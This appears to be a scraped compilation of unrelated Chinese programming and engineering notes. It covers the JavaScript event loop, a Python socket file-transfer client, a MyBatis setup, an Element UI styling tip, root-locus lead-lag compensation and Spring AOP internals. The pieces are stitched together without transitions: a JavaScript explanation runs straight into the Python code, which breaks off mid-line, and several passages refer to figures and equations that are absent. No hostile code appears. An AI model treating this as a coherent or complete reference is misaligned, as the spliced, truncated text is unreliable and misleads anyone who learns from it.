同步任务是指在主线程(执行栈)上排队执行的任务,只有前一个任务执行完毕,才能继续执行下一个任务
当我们打开网站时,网站的渲染过程、元素的渲染,其实就是一个同步任务
异步任务
异步任务不进入主线程(执行栈)、而是先进入异步进程处理,当异步任务执行完毕就会进入**“任务队列”**中
当主线程上的任务执行完毕,就会去任务队列中取出异步任务,然后放在主线程上执行,这个过程称为’事件循环’
像回调函数,什么时候被回调,这就是一个异步任务
总结:JavaScript中优先执行所有的同步任务,当同步任务执行完成后,在执行异步任务
8.4 JS的执行机制流程图 (1)所有同步任务都在主线程上执行,形成一个执行栈(execution context stack)。 (2)主线程之外,还存在一个"任务队列"(task queue)。只要异步任务有了运行结果,就在"任务队列"之中放置一个事件。 (3)一旦"执行栈"中的所有同步任务执行完毕,系统就会读取"任务队列",看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行 (4)主线程不断重复上面的第三步。 8.5 宏任务和微任务 异步队列中要执行的任务又分为了两类:宏任务和微任务
宏任务队列(macrotask queue):ajax、setTimeout、setInterval、DOM监听、UI Rendering等
微任务队列(microtask queue):Promise的then回调、 Mutation Observer API、queueMicrotask()等
那么异步队列中宏任务和微任务的优先级又是怎样的?
先执行同步任务执行异步队列中的微任务队列当微任务队列执行完毕后,在执行宏任务队列 宏任务微任务补充:
可以将await关键字后面执行的代码,看做是包裹在(resolve,reject) => {函数执行}中的代码awiat的下一条语句,可以看做是then(res => {函数执行})中的代码总结:await()这个过程是同步的,但是await的下一条语句会放到异步队列的微任务中注:使用async声明的函数,在调用时,依旧是同步任务,不会变成异步任务 宏任务和微任务面试题
8.6 循环中绑定事件 代码如上图所示,问题:为什么打印是3?
首先,我们需要知道JS中执行任务的顺序(同步任务和异步任务),优***先执行同步任务,然后在执行异步任务***
js中所有的事件绑定所对应的回调函数都是异步任务
当绑定onclick事件后,不需要等待执行,继续执行下一个循环任务,每进行一次循环任务,全局变量的i都在不断的变化
当点击的时候,外层循环已经结束,然后执行 console.log(i) 时,由于i不是私有变量,便会找到上一级window作用域全局的i,最终打印的i会指向全局变量的i,所以输出是3
问题:为什么会出现上图中的情况?
在for循环中使用var声明的变量是没有块级作用域的,只有全局作用域,也就是说每一次循环,用var声明的变量不会保存到本次循环中,而是保存到全局作用域
模拟上图中for循环的基本流程
客户端:
import os import cv2 import json import socket import threading #读取文件的最大数 max_len=1024 #端口号和IP地址 remote_PORT=5555 remote_IP='127.0.0.1' remote_addr=(remote_IP,remote_PORT) #绑定端口号和IP地址 socket_Client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_Client.connect(remote_addr) def Client_Send_File(socket_Client,filename): """ :param socket: 客户端套接字 :param filename: 要传输的文件 :param root:主窗口 :return: """ #首先将消息头发送至服务端 file,class_file=os.path.splitext(filename) #获取文件大小 # file_size=os.path.getsize(filename) file_Size=os.stat(filename).st_size msg_header={'filename':file,'msg_type':class_file,'msg_len':file_Size} msg_header_bytes=bytes(json.dumps(msg_header),encoding='utf-8') #当消息头的长度不满1024时,使用空格填充 msg_header_bytes+=b''*(max_len-len(msg_header_bytes)) socket_Client.send(msg_header_bytes) file_len=0 recv_count=0 #发送的文件头大小 print('msg_header_bytes: {}'.format(len(msg_header_bytes))) #发送的文件大小 print('file_size: {}'.format(file_Size)) with open(filename,'rb') as fp: while file_len!=file_Size: message=fp.read(max_len) socket_Client.send(message) file_len+=len(message) print(file_len) recv_count+=1 print('发送次数: {}'.format(recv_count)) socket_Client.close() print('发送完成...') if __name__=='__main__': print('Pycharm') #第二个参数为图片或者其他文件的路径 Client_Send_File(socket_Client,'hometown.
(一)MyBatis快速入门 通过一个案例快速入门Mybatis框架 案例: 查询user表中所有数据 1) 创建user表,添加数据 2) 创建模块,导入坐标 3) 编写MyBatis核心配置文件-->替换连接信息,解决硬编码问题 4) 编写SQL映射文件-->统一管理sql语句,解决硬编码问题 5) 编码 i. 定义POJO类 ii. 加载核心配置文件,获取SqlSessionFactory对象 iii. 获取SqlSession对象,执行SQL语句 iv. 释放资源 –
1、创建user表,添加数据 DROP table IF exists tb_user; CREATE TABLE tb_user( id int primary key auto_increment, username varchar(20), password varchar(30), gender char(1), addr varchar(20) ); insert into tb_user(id, username, password, gender, addr) values (1, 'zhangsan', '123', '男', '广州'), (2, '李四', '234', '女', '天津'), (3, '王五', '11', '男', '北京'); sql语句执行结果 2.
element样式还是蛮好的,只是有时候我们需要做一些调整,比如,el-input 的边框,官网是这样子的
我们需要这样子的
然后我们常规操作,**border: none;**或者 border: 0; 发现行不通,哈哈哈哈哈
tip:将border属性设成0,虽然边框不见了,但是浏览器依然会对border-width和border-color进行渲染,会占用浏览器的资源。将border设置成none,浏览器就不会做出渲染动作。
然后就就,就发现个好东西,>>>, >>> 是vue的深度选择器,vue引用了第三方组件,需要在组件中局部修改第三方组件的样式,而又不想去除scoped属性造成组件之间的样式污染。此时只能通过**>>>**,穿透scoped。
tip:无任何依赖时,纯css写**>>>**是无效果哒
那我们来看一下怎么操作这个 >>> ,要注意这里是 父级>>>el-input ,必须是这样,否则没有效果
<div class="inputDeep"> <el-input></el-input> </div> /* 利用穿透,设置input边框隐藏 */ .inputDeep>>>.el-input__inner { border: 0; } /* 如果你的 el-input type 设置成textarea ,就要用这个了 */ .inputDeep>>>.el-textarea__inner { border: 0; resize: none;/* 这个是去掉 textarea 下面拉伸的那个标志,如下图 */ } 才疏学浅,如有不足,欢迎指出 ,不胜感激()
总结 写到这里也结束了,在文章最后放上一个小小的福利,以下为小编自己在学习过程中整理出的一个关于 前端开发 的学习思路及方向。从事互联网开发,最主要的是要学好技术,而学习技术是一条慢长而艰苦的道路,不能靠一时激情,也不是熬几天几夜就能学好的,必须养成平时努力学习的习惯,更加需要准确的学习方向达到有效的学习效果。
由于内容较多就只放上一个大概的大纲,需要更及详细的学习思维导图的 点击我的GitHub免费获取。
还有免费的 高级web全套视频教程 前端架构 H5 vue node 小程序 视频+资料+代码+面试题!
全方面的web前端进阶实践技术资料,并且还有技术大牛一起讨论交流解决问题。
基于根轨迹的滞后超前校正技术以及MATLAB仿真
总结:
本文采用根轨迹法对开环传函进行补偿校正,最终使得校正后的开环传函在形成闭环后能够得到满足实际应用的时域响应(一般是单位阶跃响应和单位斜坡响应)。
关键字:
阻尼比,无阻尼自然频率,静态误差,最小相位系统
一般理论(源于现代控制工程(第五版)):
1. 二阶系统是一个更加典型的控制系统,一般高阶的系统都可以将其转化为一个或者多个二阶系统的和(线性系统的可加性),也就是说高阶系统的对输入的响应和以分解为众多二阶系统的响应的和;
2. 最小相位系统,我们假设我们的控制系统的所有零点和极点都在S平面的左半轴,也就是所有的零点、极点的实数部分小于等于0。
一般的二阶系统的标准形式:
(1)
其中ζ代表系统的阻尼比,ωn为无阻尼自然频率。
三种情况:
1. 欠阻尼情况0<ζ<1,在这种情况下,如果R(s)输入为阶跃响应,那么C(s)可以写为:
(2)
其拉普拉斯反变换可以表示为:
(3)
由上式可以看到,系统的阶跃响应包含了一个指数衰减与一个正弦函数的乘积,换句话说就是阶跃响应中有一个幅度逐渐衰减到0的正弦振荡。一种指数部分的衰减速率和阻尼比ζ和ωn有关,且如果ωn不变的情况下,ζ完全控制住了指数衰减的时间,这也就决定了该阶跃响应中正弦振荡的持续时间(影响系统的输出的稳定时间);另一方面,正弦振荡的频率是由来ωd控制,而ωd就是;综合的来看,欠阻尼系统的阶跃响应是ζ和ωn共同作用下形成的,所以将ζ称之为系统的阻尼比,ωn为无阻尼自然频率;此时的传函的极点是一对共轭复数,其实数部分为复数;
而当ζ为0时,阶跃响应也是同上式(3)一样,只是此时的指数部分固定为常数,而正弦振荡部分却依旧存在,且会一直保持等幅振荡。
2. 临界阻尼情况ζ=1
此时,阶跃响应输出为:
(4)
可以看到原先欠阻尼情况下的正弦震荡部分已经消失,只剩下指数衰减部分;
此时的传函的极点是一个负实数;
3. 过阻尼情况1<ζ
此时的阶跃响应输出为:
(5)
可以看到,此时的阶跃响应输出为两个指数衰减的叠加,那是因为此时的传函的极点是两个负实数;
Figure1
不同ζ所对应的时域阶跃响应
总结,实际上ζ所代表系统的阻尼比与ωn所代表的无阻尼自然频率地大小共同决定了传函的极点的分布。
上图是不同的ζ的传函极点的分布图,其中红线部分代表ζ<0,此时的系统是发散或者震荡的,是不稳定的;黄线部分是衰减震荡(欠阻尼);蓝线部分是不震荡(过阻尼);因此,传函的极点实际上就决定了时域部分的响应:阶跃响应、斜坡响应等;
Figure2
根轨迹:根轨迹上的每一组点,实际上就是特征方程1+G(s)H(s)= 0的特征根,也就是:
(6)
影响特性根的因素有:
1. 开环传函G(s)H(s)本身的固有零点和极点;
2. 增益K;
所以特征根Root = F(zero,pole,K),也就是说,一个闭环传函具备怎样的极点,就是由开环传函的零、极点,以及K三者共同决定的。
超前校正:
一个闭环传函的瞬态响应,大致由闭环传函的主导极点来确定的。想换句话说,实现瞬态响应(ζ,ωn)其实就是为了得到某个闭环极点Root。
1. 开环传函的zero,pole确定了,那么就只能通过调节K来得到Root;
2. 一旦我们期望的Root无法通过调节K得到时,那就必须通过增加额外的Zero’和Pole’,使得在某一个K下,能够得到预期的Root;
上述过程就是超前校正,目的就是为了实现瞬态响应的指标!
滞后校正:
除了瞬态响应的要求外,部分系统还会有静态误差的要求,这是就需要滞后校正。通过将放置靠近原点一对零、极点,滞后补偿后的根轨迹和补偿前的变化会非常小,但是却加大了Kv,也就是增大了静态速度误差常数,减少了静态速度误差,加强对输入信号的跟踪能力。
超前滞后校正一般过程:
目标时域响应特征(阻尼比和无阻尼自然频率)àà闭环传函极点àà计算得到辐角缺额 àà得到超前补偿用的零点和极点àà根据幅度条件得到Kcàà根据目标Kv,得到滞后补偿的零、极点àà完成
实例说明,利用超前补偿实现瞬态响应的控制
设计输入:G(s),H(s)=1;
设计目标:ζ=0.5,ωn=5,Kv=80
超前校正设计目标分解:ζ=0.5,ωn=5,即需要一个闭环极点为-2.5+4.33i,此时未补偿闭环传函的根轨迹就是如下图虚线所示:
Figure3红×是开环极点,点虚线是未补偿的闭环根轨迹,绿色x目标闭环极点
通过观察根轨迹,很明显通过调节K无法实现目标闭环极点(即根轨迹没有通过目标极点),那么只能通过增加零点和极点使其通过目标极点。后文会给出实现的算法,这里直接给出效果
Figure4 补偿后的根轨迹(实线)以及超前补偿器的零点和极点(黑x和黑o)
由上图可以看到,经过补偿后(上图中实轴上的多出来的黑色零极点),根轨迹已经被矫正了,可以看到它已经通过我们目标的极点:-2.5+4.33i以及Kc这意味着超前校正的目的完成,再来看一下校正前后的时域响应:
AOP学习 题外话 org.springframework.aop.advisor接口 具有一个getAdvice方法,PointcutAdvisor继承了它增加了一个getPointcut方法;
所以要构建一个PointcutAdvisor,就需要具备有advice和pointCut
而一个pointCut具备了getClassFilter和getMethodMatcher方法,匹配类和方法而Interceptor extends Advice,MethodInterceptor extends InterceptorMethodInterceptor 有一个invoke(MethodInvocation invocation)AspectJMethodBeforeAdvice,AspectJAfterReturningAdvice这两个不是interceptor仅仅是advice所以advice有可能是一个interceptor,也有可能不是,如果不是interceptor,又要转成它,就要有适配器AdvisorAdapter能getInterceptor 事务
.事务registerAutoProxyCreator的是InfrastructureAdvisorAutoProxyCreator,跟切面类AOP同样的继承线路
所以你看事务中BeanFactoryTransactionAttributeSourceAdvisor是一个PointcutAdvisor,就需要有pointcut和advice,
pointcut是用来匹配方法MethodMatcher和类ClassFilter,所以就有了TransactionAttributeSourcePointcut里面有TransactionAttributeSourceClassFilter,TransactionAttributeSource(分注解匹配和名字匹配两种)就用来MethodMatcher的advice可以是一个MethodInterceptor,这边用TransactionInterceptor进行触发invoke进入事务的处理 @EnableCaching
缓存这边也是注入InfrastructureAdvisorAutoProxyCreator.
然后跟事务很相似,BeanFactoryCacheOperationSourceAdvisor是一个PointcutAdvisor
pointcut是CacheOperationSourcePointcut,引入CacheOperationSourceClassFilter,而matches就通过CacheOperationSource实现advice就通过CacheInterceptor实现了 @Validated
参数验证器走的跟事务不是一个继承体系,它走的是AbstractAdvisingBeanPostProcessor;
这个类有一个advisor变量,凡是继承这个类,都可以提供一个advisor出来,
然后在IOC的postProcessAfterInitialization阶段对bean进行判断,
如果当前存在有advisor,那就判断advisor是否匹配beanClass,用的还是AOP那套AopUtils.canApply,解析beanClass的类所有方法进行使用pointcut进行匹配;
能够匹配上就可以为当前者beanClass创建代理,使用advisor;
SpringAop到了proxyFactory这一步都是一样的,在这之前,切面类那套是先收集advisors,然后转统一的advisor,因为切面类收集的advisor中的advice并不都是一个interceptor,所以有了转换advisor一层处理,还有advisorAdapter,
而AbstractAdvisingBeanPostProcessor,则是直接只创建了一个advisor,然后此时大家后续都是对这个走proxyFactory创建
MethodValidationPostProcessor在afterPropertiesSet中初始化了DefaultPointcutAdvisor,pointCut用的是AnnotationMatchingPointcut,那classFiter用的AnnotationClassFilter,methodMatcher是全部匹配MethodMatcher.TRUE,处理@Validated注解的advice就是MethodValidationInterceptor了 AOP概括: 初始化时机:
springAOP是通过注解EnableAspectJAutoProxy生效的,这个注解会注入一个AnnotationAwareAspectJAutoProxyCreator beanDefination,从继承结构发现它是一个后置处理器且实现了order,那么会早以一般的后置处理器先实例化,在IOC refresh的registerBeanPostProcessors 步骤触发实例化。
在doCreatebean之前会触发InstantiationAwareBeanPostProcessor#postProcessBeforeInstantiation后置处理介入是否产生代理,但是不是所有的bean都会进行创建proxy,比如如果在advisedBeans存在的则不会创建proxy,基础的组件isInfrastructureClass(Advice 、PointCut 、Advisor 、AopInfrastructureBean)或者AspectJPointcutAdvisor类型的切面类不创建代理,所以这边会首次进行收集advisor进行判断是否是切面类;那如何收集呢?
这advisor包括原生的advisor和切面类的advisor的解析:
原生的advisor从beanfactory里面直接获取后,进行初始化;
切面类的advisor进行解析切面类,进行获取beanfactory里面所有的beanNames,然后先进行beanname的合法校验过滤,这边可以进行优化,提高效率,然后开始解析bean是否有aspect注解,有的话则开始构建元数据,因为aspect注解里可以配置single,perthis,pertarget
如果是单例会委托给BeanFactoryAspectInstanceFactory去解析切面类,怎么解析呢,
先获取切面类里面非pointcut的方法,然后进行排序(按照5种通知类型排序)
然后检测方法上有哪些通知类型注解,没有则return,有则进行解析封装为advisor,,同时里面会构建相应五种advice
解析完方法还会解析declareparent属性的注解,也是封装advisor,单例会进行缓存这些advisors增强器,
而非单例的解析是不会缓存advisors增强器,每次都是通过PrototypeAspectInstanceFactory解析切面类,不过两者都会缓存解析的factory
缓存了advisors后,在进行初始化之后AbstractAutoProxyCreator#postProcessAfterInitialization会触发代理的创建,
还有AbstractAdvisingBeanPostProcessor#postProcessAfterInitialization(这个是另外的继承体系,MethodValidationPostProcessor,AsyncAnnotationBeanPostProcessor)
如果之前在postProcessBeforeInstantiation有收集过advisor,直接从缓存中获取,判断是否有必要进行创建代理;
需要创建代理的时候,从缓存的advisor中与当前的beanClass进行匹配得出候选的advisor,候选步骤:
advisor匹配分两种,一种引介增强IntroductionAdvisor,一种常规增强PointcutAdvisor;
IntroductionAdvisor的匹配直接通过classFilter进行matches
PointcutAdvisor的匹配则是先通过classFilter匹配,如果通过则继续用pointCut的MethodMatcher进行匹配,这边的matcher分两种,
一种是introductionAwareMethodMatcher,切入点表达式的匹配,
另种则是通过常规注解,比如spring cache,注解的事务匹配,
获取到beanClass所有方法,循环它们,只要匹配到一个方法立即返回;
获取到所有候选的advisor后,如果有AspectJPointcutAdvisor,则会添加一个ExposeInvocationInterceptor;
然后进行所有advisor的排序,排序一种是写注解order,一种注解本身里面有order属性,都是从低到高的排序;同个切面类增强顺序是一致的,然后同个切面类多个相同的增强则是通过字母顺序排的
有了匹配的advisor,开始创建代理,代理类型的选择:
先判断是否是强制cglib(isProxyTargetClass=true),如果没有(isProxyTargetClass=false),则继续判断当前bean的beanDefination里面是否有代理属性preserveTargetClass=true,如果还是么有,则开始判断是否配置了回调接口(InitializingBean,DisposableBean,Closeable,AutoCloseable,Aware),存在则设置proxyTarget=true;
如果都是正常的接口,则不设置ProxyTargetClass,否则设置为true;
封装advisor
先获取通用的commonInterceptors,添加到之前缓存好的advisor里面
然后对这些全部的advisor进行迭代,把这些advisor进行封装为DefaultPointcutAdvisor,因为这里面有包括了本来就是advisor,还有MethodInterceptor类型,MethodBeforeAdvice,AfterReturningAdvice,ThrowsAdvice,这三种advice需要进行适配,然后转为DefaultPointcutAdvisor;
创建具体代理模式:
如果isProxyTargetClass=false,则创建JdkDynamicAopProxy,否则,判断targetClass如果是接口,则也为JdkDynamicAopProxy,然后获取对应的proxy;
jdk通过Proxy.newProxyInstance代理接口生成proxy;